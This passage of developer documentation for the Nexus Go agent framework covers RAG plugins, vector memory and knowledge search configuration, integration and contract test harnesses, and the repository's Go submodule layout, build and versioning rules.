    - nexus.embeddings.openai
    - nexus.vectorstore.chromem
    - nexus.rag.ingest             # only needed if you ingest at runtime
    - nexus.tool.knowledge_search

  nexus.tool.knowledge_search:
    namespaces: [kb]
    default_namespaces: [kb]
    top_k: 5

Per-agent semantic memory only

No tool — the agent just gets relevant past context auto-injected on every turn.

plugins:
  active:
    - nexus.io.tui
    - nexus.llm.anthropic
    - nexus.agent.react
    - nexus.embeddings.openai
    - nexus.vectorstore.chromem
    - nexus.memory.vector

  nexus.memory.vector:
    top_k: 5
    auto_store_compaction: true

The plugin auto-stores compaction summaries (so trimmed context stays recallable) and on every io.input queries the agent’s namespace and renders hits as a <recalled_memory> XML block in the next system prompt. Conservative by default: it does not auto-store every user message — auto_store_user_input is false until you opt in.

Watch-mode ingestion

For a docs site or knowledge wiki, point a watcher at a directory:

nexus.rag.ingest:
  chunker:
    size: 1000
    overlap: 200
  watch:
    - path: ./docs
      glob: "*.md"
      namespace: project-docs
    - path: ./knowledge-base
      namespace: kb

fsnotify re-ingests on write (debounced 250ms to coalesce save bursts) and drops the file’s chunks on delete. Chunk IDs are deterministic (<sha256-prefix-of-abspath>-<chunk-idx>) so the upsert path is idempotent and deletes don’t need a preceding query.

Both: tool + memory + watcher

The configs/rag.yaml example activates everything. Tune namespaces and salience knobs to taste.

Embedding provider

OpenAI is the only built-in adapter today. To use it:

nexus.embeddings.openai:
  api_key_env: OPENAI_API_KEY
  # model: text-embedding-3-small    # default; -large is 3x cost
  # dimensions: 1536                 # provider-default; smaller = cheaper, less accurate
  # base_url: https://api.openai.com/v1/embeddings  # override for Azure / proxies

For tests or offline development, swap in the mock:

plugins:
  active:
    - nexus.embeddings.mock
    # ...

  nexus.embeddings.mock:
    dimensions: 128   # default; size doesn't matter for tests

nexus.embeddings.mock produces deterministic hash-based vectors. Same text in → same vector out, no network. Used by the integration test suite and useful for exercising the rest of the stack without burning OpenAI credits.

To add a new provider (Anthropic Voyage, Ollama, local models, etc.) you write one plugin: advertise embeddings.provider, subscribe to embeddings.request, fill req.Vectors / req.Provider / req.Error in place. See Bus contract below.

Vector store

chromem-go is the only built-in adapter. Pure Go, no CGO, in-memory with JSON on-disk persistence.

nexus.vectorstore.chromem:
  path: ~/.nexus/vectors    # default
  compress: false           # gzip-compress collections on disk

Namespaces map 1:1 to chromem collections. Each namespace becomes a subdirectory under path. Suitable up to low millions of chunks; swap for sqlite-vec / pgvector / Qdrant when you outgrow it. The vector.store event surface stays identical.

Choosing namespaces

Namespaces isolate logically distinct knowledge. Three common shapes:

Use caseExample namespaceNotes
Project documentationproject-docsOne namespace per project; switch profiles to switch context.
Shared knowledge basekbCross-project FAQ, runbooks, playbooks.
Per-agent semantic memorymemory-{InstanceID}Auto-derived by nexus.memory.vector — sanitized InstanceID.

nexus.tool.knowledge_search enforces an allow-list: the LLM-supplied namespaces arg is intersected with the configured namespaces list, so the tool can’t reach into stores it shouldn’t see. The memory.vector namespace is intentionally separate from any knowledge-base namespace — semantic memory is an internal detail you wouldn’t expose as a citable source.

Embedding cache

nexus.rag.ingest caches content-hash → vector on disk under ~/.nexus/vectors/_cache/ by default. Cache hits skip the embedding API call entirely.

The cache is keyed on content hash only — not per embedding model. If you switch embedding models, drop the cache directory. (Mixing vectors from two models in one namespace is incoherent anyway, so re-ingest is required either way.)

rm -rf ~/.nexus/vectors/_cache/        # after switching embedding model
nexus ingest --namespace=kb ./docs     # rebuild

Knowledge-search tool

The tool registers as knowledge_search (mirroring web_search), described to the LLM as searching configured knowledge bases. Behavior on invoke:

  1. Embed the query.
  2. Fan out vector.query across the requested-and-allowed namespaces.
  3. Merge hits, sort by similarity, truncate to top-k.
  4. Return JSON with rank, namespace, similarity, source, chunk_idx, content, and (optional) metadata — enough for the LLM to cite.

Configuration knobs:

nexus.tool.knowledge_search:
  namespaces: [kb, project-docs]      # required allow-list
  default_namespaces: [kb]            # used when LLM omits the arg
  top_k: 5                            # default; LLM may override per-call up to maxTopK=50
  include_metadata: true              # whether to return raw metadata map

The system-prompt example in configs/rag.yaml nudges the LLM toward calling knowledge_search first on factual questions — adjust this prompt for your domain so the tool gets used at the right times. Without a hint, the LLM may try to answer from training data on questions you wanted grounded in the KB.

Vector memory

nexus.memory.vector runs three behaviors:

  1. On io.input (priority 10, before the agent’s handler at 50): embed the user message → query the agent’s namespace → stash hits → render them as a <recalled_memory> block via the PromptRegistry for the next llm.request.
  2. On memory.compacted: auto-store the compaction summary so past context stays recallable after the history buffer trims it.
  3. On memory.vector.store: explicit-store entry point for tools or plugins that want to record content deliberately.
nexus.memory.vector:
  # namespace: memory-default               # default: "memory-{InstanceID}"
  top_k: 5
  min_similarity: 0.3                       # filter out weak hits from the prompt
  auto_store_compaction: true               # auto-write summaries on memory.compacted
  auto_store_user_input: false              # off by default — you usually don't want this
  section_priority: 45                      # prompt ordering vs. other sections

Vector memory vs long-term memory

Both plugins persist across sessions, but they solve different problems and don’t share storage:

nexus.memory.longtermnexus.memory.vector
Address bykey (LLM-managed)embedding (semantic similarity)
Storageone markdown file per entry, YAML frontmattervector store namespace
LLM toolsmemory_read / memory_write / memory_list / memory_deletenone — automatic
Best forstructured notes, preferences, facts to remember exactlyfuzzy recall of past content, summaries, topics

They coexist. Long-term is the agent’s deliberate filing cabinet; vector memory is the agent’s automatic associative recall. Activate one or both; nothing in either plugin references the other.

Tool surface

ArgumentTypeRequiredNotes
querystringyesThe semantic query. Phrase as you’d phrase a search.
namespacesarray of stringnoSubset of allowed namespaces. Defaults to default_namespaces.
kintnoMax results. Defaults to plugin’s top_k, capped at 50.

Output is a JSON document; the LLM is expected to read it and quote source paths. Example:

{
  "query": "what is the plugin lifecycle?",
  "results": [
    {
      "rank": 1,
      "namespace": "project-docs",
      "similarity": 0.84,
      "source": "docs/architecture/plugin-system.md",
      "chunk_idx": "2",
      "content": "Each plugin goes through three lifecycle phases...",
      "metadata": { "source": "docs/architecture/plugin-system.md", "chunk_idx": "2", "chunk_size": "768" }
    }
  ]
}

Bus contract

Five event types make the whole stack work. Knowing the shape is enough to write your own adapter.

// pkg/events/embeddings.go — primitive
type EmbeddingsRequest struct {
    Texts      []string
    Model      string
    Dimensions int

    Vectors  [][]float32
    Provider string
    Usage    EmbeddingsUsage
    Error    string
}

// pkg/events/vector.go — primitive
type VectorUpsert struct { Namespace string; Docs []VectorDoc; Provider string; Error string }
type VectorQuery  struct { Namespace string; Vector []float32; K int; Filter map[string]string;
                           Matches []VectorMatch; Provider string; Error string }
type VectorDelete struct { Namespace string; IDs []string; Provider string; Error string }
type VectorNamespaceDrop struct { Namespace string; Provider string; Error string }

// pkg/events/rag.go — ingest
type RAGIngest        struct { Path string; Namespace string; Metadata map[string]string;
                               Provider string; Chunks int; SkippedCached int; Error string }
type RAGIngestDelete  struct { Path string; Namespace string;
                               Provider string; Deleted int; Error string }

// pkg/events/memory_vector.go — explicit store
type VectorMemoryStore struct { Content string; Source string; Metadata map[string]string;
                                Provider string; Error string }

Every payload is emitted as a pointer so providers fill results in place before Emit returns. This is the same sync pointer-fill pattern used by search.provider, tool.catalog.query, and memory.history.query.

Adapter handlers must:

  1. Ignore the event if payload.Provider != "" (someone else already answered).
  2. Set payload.Provider = pluginID whether the call succeeded or failed.
  3. Set either payload.Error or the result fields, not both.

Bulk-ingest CLI reference

nexus ingest --namespace=NAME [flags] PATH [PATH...]
FlagDefaultDescription
--namespace(required)Target namespace in the vector store.
--glob(empty)Filename glob — matched against the path-relative-to-root and the basename.
--concurrency4Max files ingested in parallel.
--chunk-size1000Chunker target size (chars).
--chunk-overlap200Chunker overlap (chars).
--vector-path~/.nexus/vectorsVector store directory.
--cache-path~/.nexus/vectors/_cacheEmbedding cache directory.
--modeltext-embedding-3-smallEmbedding model.

The subcommand boots a minimal engine with only nexus.embeddings.openai, nexus.vectorstore.chromem, and nexus.rag.ingest active — no agent, no LLM, no IO. Useful for offline pre-loading before an agent starts.

Gate interaction

The retrieve tool emits through the normal vetoable before:tool.result hook, so existing gates apply unchanged:

GateEffect on RAG
nexus.gate.content_safetyPII/secret redaction or blocking on retrieved chunk content.
nexus.gate.output_lengthTruncates oversized search outputs with an LLM retry.
nexus.gate.tool_filterAllow-/block-list knowledge_search per profile.
nexus.gate.prompt_injectionRuns on the LLM’s input, including anything pasted back from search results.

Per-namespace access policy lives in nexus.tool.knowledge_search.namespaces, not a gate. Policy at the tool layer is cheaper and clearer than a custom gate.

Writing a new adapter

The pattern is identical for embedding providers and vector stores. Here’s a minimal embeddings.provider:

package myembed

import (
    "github.com/frankbardon/nexus/pkg/engine"
    "github.com/frankbardon/nexus/pkg/events"
)

const pluginID = "nexus.embeddings.myembed"

type Plugin struct{ /* ... */ }

func (p *Plugin) Capabilities() []engine.Capability {
    return []engine.Capability{{Name: "embeddings.provider"}}
}

func (p *Plugin) Init(ctx engine.PluginContext) error {
    p.bus = ctx.Bus
    p.bus.Subscribe("embeddings.request", p.handle,
        engine.WithPriority(50), engine.WithSource(pluginID))
    return nil
}

func (p *Plugin) handle(e engine.Event[any]) {
    req, ok := e.Payload.(*events.EmbeddingsRequest)
    if !ok || req.Provider != "" {
        return
    }
    vectors, err := p.callMyAPI(req.Texts, req.Model)
    req.Provider = pluginID
    if err != nil {
        req.Error = err.Error()
        return
    }
    req.Vectors = vectors
}

Register the factory in pkg/engine/allplugins/register.go and add a config block. Consumers (ingest, retrieve tool, vector memory) pick it up automatically via the capability system. No changes elsewhere.

A vector-store adapter follows the same shape but subscribes to all four vector.* events. See plugins/vectorstore/chromem/plugin.go for the reference implementation — about 240 lines including all four handlers.

Out of scope (for now)

These weren’t in the initial RAG pass and are tracked separately:

  • Auto-retrieve gate on before:llm.request (system injection without LLM tool call). Distinct UX questions around latency budget and provenance — the knowledge_search tool path makes the retrieval visible to the LLM and the user, which is usually what you want.
  • Re-ranking (cross-encoder, LLM-based). Future rag.reranker capability.
  • Additional vector store backends (sqlite-vec, pgvector, Qdrant). The vector.store event surface is designed so they slot in without breaking changes.
  • Additional embedding providers (Anthropic Voyage, Ollama, local sentence-transformers).

Troubleshooting

  • no embeddings provider answered — check that a plugin advertising 'embeddings.provider' is active Activate nexus.embeddings.openai (production) or nexus.embeddings.mock (testing).

  • expected N vectors, got 0 The provider returned an error. Look up at the previous log line for the underlying API failure (HTTP status, key issue, model name typo).

  • ingest: read FILE: permission denied The plugin runs as the same user as the engine. Make sure files are readable and that watch-mode path: entries point at directories that don’t shift permissions.

  • Cache hits never happen Cache lives at ~/.nexus/vectors/_cache/ by default. Check that cache_dir (if overridden) is writable and persistent. Also remember the cache is keyed on content hash, so even one trailing newline change invalidates an entry.

  • Search returns empty matches when content was definitely ingested Check the namespace in your knowledge_search config matches the namespace you ingested into. Namespace mismatches don’t error — they just return zero results.

  • Sliced docs site looks like noise after retrieval The default chunker is generic prose-tuned (1000/200). For code, mixed prose+code, or very short pages, try smaller chunks (chunk-size: 600, chunk-overlap: 120). Per-content-type chunkers are a future enhancement.

Integration Testing

Nexus provides an integration test framework for automated validation of test configurations. Tests run real engines with real LLM calls, verifying end-to-end behavior.

Quick Start

# Run all integration tests
go test -tags integration ./tests/integration/ -v

# Run a specific test
go test -tags integration ./tests/integration/ -run TestMinimal -v

# With timeout (tests make real API calls)
go test -tags integration ./tests/integration/ -timeout 5m -v

Prerequisites: ANTHROPIC_API_KEY must be set in the environment.

Architecture

Three components work together:

  1. nexus.io.test — IO plugin that replaces nexus.io.tui in test configs. Feeds scripted inputs, collects all events, handles approvals.
  2. pkg/testharness — Go test helper that boots the engine, waits for completion, and provides assertion methods.
  3. Semantic judge — Optional Haiku-based LLM judge for evaluating dynamic response content.
test config (YAML with nexus.io.test)
    ↓
Engine boots normally (real plugins, real LLM)
    ↓
Test IO plugin emits scripted io.input events
    ↓
Collects ALL bus events
    ↓
Go test assertions on collected events
    ↓
Optional: LLM-as-judge for semantic validation

Writing Tests

Basic Test

//go:build integration

package integration

import (
    "testing"
    "time"

    "github.com/frankbardon/nexus/pkg/testharness"
)

func TestMyFeature(t *testing.T) {
    h := testharness.New(t, "configs/test-my-feature.yaml",
        testharness.WithTimeout(60*time.Second),
    )
    h.Run()

    h.AssertEventEmitted("io.output")
    h.AssertNoSystemOutput()
}

Test Config

Test configs use nexus.io.test instead of nexus.io.tui:

plugins:
  active:
    - nexus.io.test      # replaces nexus.io.tui
    - nexus.llm.anthropic
    - nexus.agent.react
    # ...

  nexus.io.test:
    inputs:
      - "Hello, who are you?"
    approval_mode: approve
    timeout: 60s

Mock LLM Responses

Most gate and plugin tests don’t need a real LLM. Use mock_responses to inject synthetic responses — no API key, no cost, millisecond execution:

nexus.io.test:
  inputs:
    - "Include the word FORBIDDEN in your response."
  mock_responses:
    - content: "This should never be seen."
  timeout: 15s

Gates fire before mock responses (priority 10 vs 20), so gate behavior is tested accurately. The mock just replaces the expensive LLM call.

Override Config Per Test

Use copyConfig to create a temp config with different inputs or settings:

func TestStopWords(t *testing.T) {
    cfg := copyConfig(t, "configs/test-all-gates.yaml", map[string]any{
        "nexus.io.test": map[string]any{
            "inputs":        []string{"Include FORBIDDEN_WORD in your response."},
            "approval_mode": "approve",
            "timeout":       "30s",
        },
    })

    h := testharness.New(t, cfg, testharness.WithTimeout(45*time.Second))
    h.Run()

    h.AssertSystemOutputContains("Content blocked")
}

Assertion Reference

Tier 1: Deterministic (free, fast, reliable)

MethodWhat it checks
AssertBooted(pluginIDs...)Plugins were initialized
AssertEventEmitted(type)At least one event of this type
AssertEventNotEmitted(type)No events of this type
AssertEventCount(type, min, max)Event count within range
AssertOutputContains(substring)Assistant output contains text
AssertOutputNotContains(substring)Assistant output does not contain text
AssertSystemOutputContains(substring)System-role output (gate messages) contains text
AssertNoSystemOutput()No system-role outputs (no gate vetoes)
AssertToolCalled(name)Tool was invoked
AssertToolNotCalled(name)Tool was not invoked
AssertSessionArtifact(relPath)File exists in session directory

Tier 2: Semantic (LLM judge, ~$0.001/assertion)

MethodWhat it checks
AssertOutputSemantic(criteria)Haiku judges if output satisfies criteria

Semantic assertions require ANTHROPIC_API_KEY. Tests are skipped (not failed) if no judge is configured.

h.AssertOutputSemantic("response recalls the user's earlier question about greetings")

Harness Options

OptionDefaultPurpose
WithTimeout(duration)90sMax time before harness gives up
WithRetainSession()offKeep session dir on failure for debugging
WithJudge(judge)auto HaikuCustom semantic judge implementation

Raw Event Access

For assertions not covered by built-in methods:

for _, e := range h.Events() {
    if e.Type == "llm.response" {
        // inspect e.Payload
    }
}

Build Tags

Integration tests use //go:build integration so they don’t run with go test ./.... They require API keys and make real LLM calls.

# Unit tests only (default)
go test ./...

# Integration tests only
go test -tags integration ./tests/integration/

# Both
go test -tags integration ./...

Testing UI Plugins (Future)

The test IO plugin validates the bus contract shared by all IO plugins (TUI, browser, wails). When integration tests pass, the bus-side behavior is validated.

Transport-specific rendering requires separate test suites per plugin:

PluginTransportTest Approach
TUIBubbleTeateatest package (headless terminal simulation)
BrowserHTTP/WShttptest + WebSocket client
WailsRuntime bindingsMock runtime.Runtime interface

These validate that the transport correctly bridges bus events to/from the UI. The test IO plugin serves as a reference for the event flow, ordering, and payload shapes.

Future work: extract an IOContract interface from common subscription/emission patterns so any IO plugin can run a shared contract test suite.

Plugin Contract Tests

Every Nexus plugin declares two event-contract methods on the Plugin interface:

Subscriptions() []EventSubscription
Emissions()     []string

These declarations are used by the lifecycle manager for ordering and by observability tooling for plugin manifests. Without tests, nothing prevents a plugin from emitting an event type it never declared, or from declaring a subscription it never wires up. The contract harness in pkg/testharness/contract/ makes those assertions cheap to write.

It’s a separate, lighter wrapper than the integration harness in pkg/testharness/. The contract harness boots one plugin in isolation against a real engine.Bus plus a minimal PluginContext — temp data dirs, default host sandbox, optional session workspace. No engine Boot, no other plugins, no full session.

This guide is for unit-level contract assertions. For end-to-end agent-loop tests with multiple plugins active, see Integration Testing instead.

When to use it

  • Every new plugin should land with a contract_test.go (or plugin_test.go) that asserts its declared Subscriptions() and Emissions().
  • Use it for tests that drive the plugin’s handlers via scripted bus events and assert which events come back out.
  • Don’t use it for tests of internal helpers that don’t touch the bus — those live in regular _test.go files.

Quick start

package mygate

import (
    "testing"

    "github.com/frankbardon/nexus/pkg/events"
    "github.com/frankbardon/nexus/pkg/testharness/contract"
)

func TestContract(t *testing.T) {
    h := contract.NewContract(t, New)

    // 1. Static contract — declared sub/emit set.
    h.AssertSubscribesTo("before:io.output")
    if got := h.Plugin().Emissions(); len(got) != 1 || got[0] != "io.output" {
        t.Errorf("Emissions() = %v, want [io.output]", got)
    }

    // 2. Behavioral contract — drive the handler and assert.
    h.InjectVetoable("before:io.output", &events.AgentOutput{
        Role:    "assistant",
        Content: "this output is too long for the configured limit",
    })
    h.AssertEmitted("io.output")           // gate emits its system warning
    h.AssertNoUndeclaredEmissions()        // nothing outside the declared set
}

Cleanup is registered with t.Cleanup automatically. The harness drains the bus and calls Shutdown for you.

API

func NewContract(t *testing.T, factory engine.PluginFactory, opts ...ContractOption) *ContractHarness

Constructs the harness, calls Init and Ready on the plugin, registers cleanup. Fails the test on any error from those steps.

Options

OptionEffect
WithPluginConfig(map[string]any)YAML-derived config map the plugin would normally receive.
WithPluginID(string)Override the plugin ID (use for instance-suffixed IDs like nexus.agent.subagent/researcher). Defaults to plugin.ID().
WithSession()Boot with a real SessionWorkspace rooted in a temp dir. Enables plugins that touch ctx.Session, ctx.DataDir, or ScopeSession storage. Off by default to keep tests fast.
WithLogger(*slog.Logger)Override the default discard logger.

Driving events

MethodPurpose
Inject(eventType, payload)Emit a normal event on the harness bus. The harness tags it as OriginInject so it’s filtered out of plugin-emission checks.
InjectVetoable(eventType, payload) VetoResultEmit a before:* event and return the resulting VetoResult. The vetoable wrapper protocol is handled for you.

Assertions

MethodAsserts
AssertSubscribesTo(types ...string)Plugin’s static Subscriptions() declaration includes every type. Doesn’t run the plugin — pair with Inject to verify the subscription actually fires.
AssertEmitted(eventType)At least one plugin-origin event of this type was captured.
AssertNotEmitted(eventType)No plugin-origin event of this type was captured.
AssertEmittedInOrder(types ...string)Types appeared in the captured stream in the given relative order. Other emissions between them are ignored.
AssertNoUndeclaredEmissions()Every plugin-origin event the harness saw is in the plugin’s declared Emissions() list. Use after Inject to catch contract drift.

Captured() returns every event observed (including injects); PluginEmissions() filters down to plugin-origin only.

Patterns

Plugin that mutates a request payload (no emissions)

Many plugins (embeddings adapters, rerankers, metadata router) subscribe to a request event and mutate the payload pointer in place rather than emitting a result. Their Emissions() is empty by design.

func TestContract(t *testing.T) {
    h := contract.NewContract(t, New)
    h.AssertSubscribesTo("embeddings.request")

    req := &events.EmbeddingsRequest{Texts: []string{"foo"}}
    h.Inject("embeddings.request", req)

    if req.Provider != "nexus.embeddings.mock" {
        t.Errorf("provider not stamped: %q", req.Provider)
    }
    if got := h.Plugin().Emissions(); len(got) != 0 {
        t.Errorf("expected empty Emissions(), got %v", got)
    }
}

Plugin that needs a session workspace

Plugins that persist files (longterm memory, planners, fileio) require ctx.Session to be non-nil. Pass WithSession():

h := contract.NewContract(t, New,
    contract.WithSession(),
    contract.WithPluginConfig(map[string]any{
        "scope":     "global",
        "auto_load": false,
    }),
)

The session workspace is rooted in t.TempDir() and cleaned up automatically.

Plugin that needs an API key in config

Any plugin whose Init hard-rejects on missing credentials needs a stub key in test config:

h := contract.NewContract(t, New, contract.WithPluginConfig(map[string]any{
    "api_key": "sk-mock-not-used",
}))

The harness never makes outbound HTTP calls during contract tests — the key just satisfies validation.

Plugin that fails Init for negative-path tests

NewContract calls t.Fatalf on Init errors. To assert that Init correctly rejects bad config, bypass the harness and call Init directly:

func TestContract_NoSteps_InitFails(t *testing.T) {
    p := New().(*Plugin)
    err := p.Init(engine.PluginContext{
        Bus:    engine.NewEventBus(),
        Logger: slog.New(slog.NewTextHandler(io.Discard, nil)),
        Config: map[string]any{}, // no required steps
    })
    if err == nil {
        t.Error("expected Init to fail when no steps configured")
    }
}

Contract harness vs integration harness

Aspectcontract harnesstestharness (integration)
ScopeOne plugin in isolationFull engine boot
Build tagNone — runs in normal go test//go:build integration
Plugins activeJust the one under testWhatever the YAML config lists
SessionOptional via WithSession()Always present
Mock LLMNot applicable (plugin owns its bus)Configured via mock_responses in YAML
Use forSubscriptions/Emissions assertions, request-payload mutationsMulti-plugin agent loops, full event chains

Where it lives

The harness deliberately lives in pkg/testharness/contract/, not in pkg/testharness/ itself. The integration harness imports pkg/engine/allplugins (which imports every plugin); putting contract code in the same package would create a cycle whenever a plugin imports the harness:

plugin → pkg/testharness → pkg/engine/allplugins → plugin

Splitting into a sub-package breaks the cycle.

Reference

  • Source: pkg/testharness/contract/contract.go
  • Self-tests: pkg/testharness/contract/contract_test.go
  • Examples: every contract_test.go and plugin_test.go under plugins/.

Repository Go Modules

Nexus is one Go module — github.com/frankbardon/nexus — plus a small number of submodules under modules/, each with its own go.mod.

This page is the contract for that arrangement: where a submodule may live, how it resolves the core module, how the build and CI cover it, and how it is versioned. If you are writing an object-store backend, an exporter or anything else that needs a dependency Nexus core must not carry, start here.

Why submodules exist at all

The root module deliberately carries no vendor SDKs. Every LLM provider is raw net/http, storage is pure-Go modernc.org/sqlite, and the direct dependency count is a number the project defends.

A cloud object-store backend cannot honour that. The AWS and Google SDKs are large, transitively deep, and pull in their own HTTP, auth and retry machinery. Adding one to go.mod would impose it on every nexus build, including builds that will never touch a bucket.

So the seam is designed to be implemented from outside: pkg/engine/objectstore imports nothing beyond the standard library, and its conformance suite pkg/engine/objectstore/objectstoretest is exported. A backend lives in its own module with its own dependency graph, and an embedder who wants it blank-imports it into their own main. The root module’s dependency list does not move.

Layout

nexus/
  go.mod                      # the root module: github.com/frankbardon/nexus
  pkg/ plugins/ cmd/ ...      # all of it root-module code, no exceptions
  modules/
    objectstore-s3/           # github.com/frankbardon/nexus/modules/objectstore-s3
      go.mod
    objectstore-gcs/          # github.com/frankbardon/nexus/modules/objectstore-gcs
      go.mod
    objectstore-seamcheck/    # github.com/frankbardon/nexus/modules/objectstore-seamcheck
      go.mod

That is every submodule that ships today, and the list is short enough to be worth naming rather than gesturing at:

ModuleWhat it isDependency it carries
objectstore-s3objectstore.Backend for Amazon S3 and every S3-compatible store. Registers as s3. See Object Storage.AWS SDK for Go v2
objectstore-gcsobjectstore.Backend for Google Cloud Storage. Registers as gcs. See Object Storage.cloud.google.com/go/storage
objectstore-seamcheckNot a backend and stores nothing. The permanent canary that keeps objectstore.Backend and objectstoretest.RunSuite usable from a module that is not the root one.none

make submodules prints the same list from the filesystem, and is the authoritative answer if this table ever falls behind.

Rules:

  • Every non-root go.mod lives at modules/<name>/go.mod. One level, no nesting. make check-modules (run as part of make lint) fails the build if a go.mod appears anywhere else.
  • Module path mirrors the directory: modules/<name> becomes github.com/frankbardon/nexus/modules/<name>. This is not a style preference — Go derives a submodule’s version tag from its directory, so path and directory cannot diverge.
  • Names are flat and hyphenated, describing the seam then the implementation: objectstore-s3, objectstore-gcs. Grouping them as modules/objectstore/s3 was rejected because it makes modules/objectstore look like a module it is not, and lengthens every version tag for no gain.

Placing a backend beside the interface it implements — pkg/engine/objectstore/s3/ — reads better and was rejected anyway. pkg/ means “root-module code” with no exceptions worth remembering, and a nested go.mod under a directory everything else sweeps is exactly the invisible-package trap described below.

Why there is no go.work

A workspace is the obvious way to make a multi-module repo build as one, and it is deliberately not used here. go.work is in .gitignore.

A workspace merges every listed module into a single build list. The cloud SDKs required by the backend modules would then take part in version selection for the root module as well, and bin/nexus built by a contributor with a workspace active could resolve different transitive versions than the binary CI and the release build produce. Guaranteeing that the root module’s dependency graph is exactly what its go.mod says is the entire reason the backends were split out; a committed go.work would quietly give that back.

A workspace also does not buy what people assume. go test ./... does not span workspace modules — ./... still stops at the current module — so a go.work would not have removed the need for the Makefile to walk modules/.

Instead, each submodule carries a replace:

require github.com/frankbardon/nexus v0.18.2

replace github.com/frankbardon/nexus => ../..

The replace is scoped to that one module and affects nothing else in the tree. Local development and CI therefore always build the submodule against the working tree, which is what makes a submodule capable of failing when a change to the seam breaks it. Anyone who depends on the submodule from outside this repository ignores the replace — Go honours replace only in the main module — and gets the required version, which is why that line must always name a real published tag rather than a v0.0.0 placeholder.

go.work and go.work.sum are gitignored rather than merely absent, so a local workspace for editor or debugging convenience is fine. Just never commit one.

Build, test and lint coverage

The failure mode this plumbing exists to prevent: a separate module is invisible to every ./... pattern. go build ./..., go test ./..., go vet ./... and staticcheck ./... all stop at a nested go.mod without a word. A submodule that does not compile, or whose tests fail, reports as success forever.

The Makefile therefore discovers submodules by glob and sweeps each one:

GO_SUBMODULES := $(patsubst %/go.mod,%,$(wildcard modules/*/go.mod))
TargetRoot moduleSubmodules
make buildbuilds cmd/nexus + cmd/nexus-brokergo build ./... (compile check; submodules ship no binary)
make testgo test ./...go test ./...
make test-objectstore-miniomodules/objectstore-s3 only, -tags minio
make test-objectstore-fake-gcsmodules/objectstore-gcs only, -tags fakegcsserver
make test-racego test -race ./...go test -race ./...
make fmtgo fmt ./...go fmt ./...
make vetgo vet ./..., then again with -tags $(LINT_TAGS)same, both passes
make lintvet + check-events + check-modules + staticcheck, untagged and -tags $(LINT_TAGS)staticcheck, both passes
make check-eventsroot only
make check-modulesfails on a go.mod outside modules/<name>/
make submodulesprints the discovered list

LINT_TAGS defaults to integration,evalrecord,minio,fakegcsserver — every build tag in the tree that gates Go files. The second pass exists because a file behind //go:build minio compiled only when someone ran that suite, so neither vet nor staticcheck had ever seen it on any commit, CI included. One combined list is applied everywhere rather than a per-module list: a tag matching no file in a module is a no-op, so minio costs nothing in the GCS module.

It does not cover wasip1, which is a GOOS constraint rather than a build tag — -tags will not reach plugins/tools/codeexec’s wasm files. make verify-yaegi-wasm is what exercises those.

Three deliberate exceptions:

  • The emulator targets are not sweeps. Each runs one submodule’s build-tagged suite against an emulator the target starts and stops itself: test-objectstore-minio against MinIO via scripts/with-minio.sh, and test-objectstore-fake-gcs against fake-gcs-server via scripts/with-fake-gcs.sh. Two targets rather than one shared “emulator” target, because MinIO emulates S3 and fake-gcs-server emulates GCS — folding them together would mean one red step for two unrelated stores, and neither suite could be run on its own while working on its own backend. Everything above stays untagged, which is what keeps make test offline and secret-free even though it sweeps modules/.

    The two scripts are the same shape on purpose — a pinned emulator version, a readiness wait, a port nothing else can be holding, an EXIT trap, and a NEXUS_TEST_*_REQUIRED variable that turns the suite’s no-emulator skip into a failure so a provisioned run cannot pass by skipping — and differ in one place: with-minio.sh runs a pinned container, while with-fake-gcs.sh builds a pinned Go binary with go install <module>@<version>, because fake-gcs-server is a Go module and MinIO is not. That means the GCS emulator suite needs no container runtime at all. Each script records the reasoning and the alternatives that were rejected.

    Both suites are also where the kill-and-resume cycle is proven against a real store, which is why both modules/objectstore-s3/go.mod and modules/objectstore-gcs/go.mod carry indirect requirements — modernc.org/sqlite, gopkg.in/yaml.v3, klauspost/compress — that have nothing to do with either cloud. They come from the root module’s pkg/engine, which those tests import so they can drive a real engine against a real bucket; no non-test file in either module imports anything above pkg/engine/objectstore. The direction that matters is unchanged: the root module still does not require either one.

    The cycle itself is written once, in pkg/engine/objectstore/enginetest, and each module supplies only the four store-specific hooks it needs — register a factory, make an empty bucket, list the bucket, read one object. It is exported from the root module for the reason objectstoretest is: a backend may live in a module this repository never sees, and passing the interface conformance suite does not prove a session resumes from it. It is a separate package from objectstoretest because it imports pkg/engine, and pkg/engine’s own tests are package engine and import objectstoretest — so the two halves have to sit in different packages or neither builds.

  • check-events stays root-only. scripts/check-event-versions.sh cds to the repository top level and inspects pkg/events/ alone. Event structs live in the root module and nowhere else, so running it per submodule would repeat the identical check while looking like it were checking something else.

  • go run honnef.co/go/tools/cmd/staticcheck@$(STATICCHECK_VERSION) resolves independently of the current module, so the same pinned staticcheck runs inside a submodule without that module having to require it.

CI needs no submodule-specific job for the sweeps: .github/workflows/ci.yml runs make build, make test, make test-race, make vet and make lint, and those cover modules/ already. A build-tagged emulator suite is the one thing that does need a workflow edit, because no sweep runs it — the objectstore-minio and objectstore-fake-gcs jobs exist for that, one per emulator, and each runs the same make target a developer runs. That is the design — one command per concern, shared verbatim between CI and a developer’s terminal, so the two cannot drift into a state where CI skips something. Adding a module under modules/ requires no workflow edit; adding an emulator suite to it does.

Dependabot covers the submodules through a glob (directories: [/, /modules/*]) for the same reason.

Versioning and tagging

The core module is released as a bare tag, vX.Y.Z, with a matching GitHub Release. Nothing about submodules changes that, because a bare vX.Y.Z tag never versions a submodule — Go requires the tag to be prefixed with the module’s directory.

The rules:

  1. Submodule tags are not cut by default. Cutting a core release does not cut modules/* tags, and the release process does not have to know how many submodules exist. Inside the repository a submodule’s version is irrelevant anyway: make and CI always build the working tree through the replace.
  2. A submodule tag is cut on demand, when someone needs to go get that module into a program built outside this repository. The tag format is fixed by Go: modules/<name>/vX.Y.Z, for example modules/objectstore-s3/v0.1.0.
  3. Submodule versions are independent of the core version. They are not kept in step with vX.Y.Z and must not be assumed to match. A backend whose SDK needs a patch release should not have to wait for a core release, and a core release should not imply that every backend was re-tested.
  4. When a submodule tag is cut, bump its require github.com/frankbardon/nexus line to the newest core tag first, in the same commit. That line is what external consumers actually resolve, and a stale one gives them a core module older than the seam the backend was written against. The replace stays where it is — consumers ignore it.
  5. Compatibility is expressed by that require line, not by a naming convention. “Which Nexus does this backend work with” is answered by reading modules/<name>/go.mod, and by the fact that CI builds it against the current tree on every commit.

Adding a submodule

  1. mkdir modules/<name> and write go.mod with module path github.com/frankbardon/nexus/modules/<name>, a require on the newest core tag, and replace github.com/frankbardon/nexus => ../...
  2. Write the code. Depend on whatever you need — that is the point.
  3. make build && make test && make lint. The glob picks the module up with no Makefile, CI or Dependabot edit.
